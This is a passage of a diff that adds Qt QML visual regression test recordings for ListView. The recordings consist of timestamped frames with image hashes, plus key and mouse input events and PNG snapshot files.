Frame { + msec: 464 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 480 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 496 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 512 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 528 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Key { + type: 6 + key: 16777249 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 544 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 560 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 576 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 592 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 608 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } + Frame { + msec: 624 + hash: "c0dc2737283d8dfa62631e0cbb948b99" + } +} diff --git a/tests/auto/declarative/qmlvisual/ListView/data/basic1.qml b/tests/auto/declarative/qmlvisual/ListView/data/basic1.qml new file mode 100644 index 0000000..4cd44fc --- /dev/null +++ b/tests/auto/declarative/qmlvisual/ListView/data/basic1.qml @@ -0,0 +1,159 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 32 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 48 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 64 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 80 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 96 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 112 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 128 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 144 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 160 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 176 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 192 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 208 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 224 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 240 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 256 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 272 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 288 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 304 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 320 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 336 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 352 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 368 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 384 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 400 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 416 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 432 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 448 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 464 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 480 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 496 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 512 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 528 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Key { + type: 6 + key: 16777249 + modifiers: 67108864 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 544 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 560 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 576 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } +} diff --git a/tests/auto/declarative/qmlvisual/ListView/data/basic2.qml b/tests/auto/declarative/qmlvisual/ListView/data/basic2.qml new file mode 100644 index 0000000..34ad5ed --- /dev/null +++ b/tests/auto/declarative/qmlvisual/ListView/data/basic2.qml @@ -0,0 +1,187 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 32 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 48 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 64 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 80 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 96 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 112 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 128 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 144 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 160 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 176 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 192 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 208 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 224 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 240 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 256 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 272 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 288 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 304 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 320 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 336 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 352 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 368 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 384 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 400 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 416 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 432 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 448 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 464 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 480 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 496 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 512 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 528 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 544 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 560 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 576 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 592 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 608 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 624 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 640 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Key { + type: 6 + key: 16777249 + modifiers: 67108864 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 656 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 672 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 688 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } +} diff --git a/tests/auto/declarative/qmlvisual/ListView/data/basic3.qml b/tests/auto/declarative/qmlvisual/ListView/data/basic3.qml new file mode 100644 index 0000000..1c5ddb0 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/ListView/data/basic3.qml @@ -0,0 +1,147 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 32 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 48 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 64 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 80 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 96 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 112 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 128 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 144 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 160 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 176 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 192 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 208 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 224 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 240 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 256 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 272 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 288 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 304 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 320 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 336 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 352 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 368 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 384 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 400 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 416 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 432 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 448 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 464 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Key { + type: 6 + key: 16777249 + modifiers: 67108864 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 480 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 496 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 512 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 528 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } +} diff --git a/tests/auto/declarative/qmlvisual/ListView/data/basic4.qml b/tests/auto/declarative/qmlvisual/ListView/data/basic4.qml new file mode 100644 index 0000000..d121d91 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/ListView/data/basic4.qml @@ -0,0 +1,171 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 32 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 48 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 64 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 80 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 96 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 112 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 128 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 144 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 160 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 176 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 192 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 208 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 224 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 240 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 256 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 272 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 288 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 304 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 320 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 336 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 352 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 368 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 384 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 400 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 416 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 432 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 448 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 464 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 480 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 496 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 512 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 528 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Key { + type: 6 + key: 16777249 + modifiers: 67108864 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 544 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 560 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 576 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 592 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 608 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } + Frame { + msec: 624 + hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" + } +} diff --git a/tests/auto/declarative/qmlvisual/ListView/data/itemlist.0.png b/tests/auto/declarative/qmlvisual/ListView/data/itemlist.0.png new file mode 100644 index 0000000..a1947ca Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data/itemlist.0.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data/itemlist.1.png b/tests/auto/declarative/qmlvisual/ListView/data/itemlist.1.png new file mode 100644 index 0000000..d27b7fa Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data/itemlist.1.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data/itemlist.2.png b/tests/auto/declarative/qmlvisual/ListView/data/itemlist.2.png new file mode 100644 index 0000000..fdab8c6 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data/itemlist.2.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data/itemlist.3.png b/tests/auto/declarative/qmlvisual/ListView/data/itemlist.3.png new file mode 100644 index 0000000..dc321a8 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data/itemlist.3.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data/itemlist.4.png b/tests/auto/declarative/qmlvisual/ListView/data/itemlist.4.png new file mode 100644 index 0000000..fdab8c6 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data/itemlist.4.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data/itemlist.5.png b/tests/auto/declarative/qmlvisual/ListView/data/itemlist.5.png new file mode 100644 index 0000000..15b51cb Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data/itemlist.5.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data/itemlist.6.png b/tests/auto/declarative/qmlvisual/ListView/data/itemlist.6.png new file mode 100644 index 0000000..a1947ca Binary files /dev/null and b/tests/auto/declarative/qmlvisual/ListView/data/itemlist.6.png differ diff --git a/tests/auto/declarative/qmlvisual/ListView/data/itemlist.qml b/tests/auto/declarative/qmlvisual/ListView/data/itemlist.qml new file mode 100644 index 0000000..073749f --- /dev/null +++ b/tests/auto/declarative/qmlvisual/ListView/data/itemlist.qml @@ -0,0 +1,2203 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 32 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 48 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 64 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 80 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 96 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 112 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 128 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 144 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 160 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 176 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 192 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 208 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 224 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 240 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 256 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 272 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 288 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 304 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 320 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 336 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 352 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 368 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 384 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 400 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 416 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 432 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 448 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 464 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 480 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 496 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 512 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 528 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 544 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 560 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 576 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 592 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 608 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 624 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 640 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 656 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 672 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 688 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 704 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 720 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 736 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 752 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 768 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 784 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 800 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 816 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 832 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 848 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 864 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 880 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 896 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 912 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 928 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 944 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 960 + image: "itemlist.0.png" + } + Frame { + msec: 976 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 992 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1008 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1024 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1040 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1056 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1072 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1088 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1104 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1120 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1136 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1152 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1168 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1184 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1200 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1216 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1232 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1248 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1264 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1280 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1296 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1312 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1328 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1344 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1360 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1376 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1392 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1408 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1424 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1440 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1456 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1472 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1488 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1504 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1520 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1536 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1552 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1568 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1584 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1600 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1616 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1632 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Frame { + msec: 1648 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 192; y: 111 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1664 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 191; y: 111 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1680 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 190; y: 112 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 187; y: 113 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1696 + hash: "bf47cc398a702dd17c8efebb3d2f8073" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 184; y: 113 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 180; y: 113 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1712 + hash: "a68b1bc6c2963ee92c3a45f500667b3b" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 174; y: 114 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 167; y: 115 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1728 + hash: "7cda93e59466b3348e7ffe3895f89e86" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 160; y: 117 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1744 + hash: "06e0008c78e919f7270402938d9d764b" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 140; y: 121 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 132; y: 122 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1760 + hash: "9d8da9199efebb95f56e5d4ebc9a585e" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 114; y: 126 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 98; y: 132 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1776 + hash: "54a60a4279911ba4a8a5741bcadfa783" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 91; y: 132 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 91; y: 132 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1792 + hash: "a1a19370a1a8ed78e475f0d0eb12311c" + } + Frame { + msec: 1808 + hash: "196a3b127cf7065614c34856bf8d8bca" + } + Frame { + msec: 1824 